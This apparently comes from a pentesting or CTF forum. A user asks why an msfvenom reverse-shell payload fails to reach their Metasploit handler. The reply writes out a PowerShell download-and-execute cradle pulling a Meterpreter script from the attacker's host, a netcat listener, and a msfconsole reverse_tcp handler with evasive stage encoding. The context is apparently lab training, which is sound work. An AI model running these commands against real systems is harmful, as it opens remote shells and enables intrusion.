However, nothing happens: I just get the shell prompt back on the victim machine and no activity on my msf handler. Watching for any connections to my host with nc -lvnp 9001 also doesn’t show any connection being made.
I verified the victim can ping the host, that the content is downloaded correctly, etc. My expectation is that when the msfvenom payload is executed, it will try to connect to the handler on the given host… Is there something I’m doing wrong or am I misunderstanding how to use msfvenom?
First you have to start a web server on your kali with <python -m SimpleHTTPServer 80> in order to be able to download it through the shell you already have.The “powershell IEX(New-Object Net.WebClient).downloadString(‘http://<ip_from_tun0>/meterpreter.ps1’)” command just downloads the file from the web server you host,it doesnt execute it.You will then have to execute the file after you download it with .Hope this helps
Then setup your listener : msfconsole -x "set lhost YourIP; set lport YourPORT; use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set EnableStageEncoding true; set StageEncoder x86/xor_dynamic; run"